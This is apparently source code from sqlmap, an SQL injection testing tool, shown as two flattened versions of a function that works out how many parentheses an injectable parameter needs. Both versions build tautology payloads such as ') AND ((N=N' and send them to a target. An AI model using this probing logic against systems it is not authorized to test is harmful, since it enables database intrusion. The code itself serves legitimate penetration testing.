def checkForParenthesis(): """ This method checks if the SQL injection affected parameter is within the parenthesis. """ logMsg = "testing for parenthesis on injectable parameter" logger.info(logMsg) count = 0 if kb.parenthesis != None: return if conf.prefix or conf.postfix: kb.parenthesis = 0 return for parenthesis in range(1, 4): query = agent.prefixQuery("%s " % (")" * parenthesis)) query += "AND %s" % ("(" * parenthesis) randInt = randomInt() randStr = randomStr() if kb.injType == "numeric": query += "%d=%d" % (randInt, randInt) elif kb.injType == "stringsingle": query += "'%s'='%s" % (randStr, randStr) elif kb.injType == "likesingle": query += "'%s' LIKE '%s" % (randStr, randStr) elif kb.injType == "stringdouble": query += "\"%s\"=\"%s" % (randStr, randStr) elif kb.injType == "likedouble": query += "\"%s\" LIKE \"%s" % (randStr, randStr) else: raise sqlmapNoneDataException, "unsupported injection type" payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result == kb.defaultResult: count = parenthesis logMsg = "the injectable parameter requires %d parenthesis" % count logger.info(logMsg) setParenthesis(count)
def checkForParenthesis(): """ This method checks if the SQL injection affected parameter is within the parenthesis. """ logMsg = "testing for parenthesis on injectable parameter" logger.info(logMsg) logic = conf.logic count = 0 case = getInjectionCase(kb.injType) if case is None: raise sqlmapNoneDataException, "unsupported injection type" if kb.parenthesis is not None: return if conf.prefix or conf.suffix: kb.parenthesis = 0 return for parenthesis in range(1, 4): randInt = randomInt() randStr = randomStr() query = case.usage.prefix.format % eval(case.usage.prefix.params) query = query[:-1] + case.usage.suffix.format % eval(case.usage.suffix.params) payload = agent.payload(newValue=query) result = Request.queryPage(payload) if result: count = parenthesis logMsg = "the injectable parameter requires %d parenthesis" % count logger.info(logMsg) setParenthesis(count)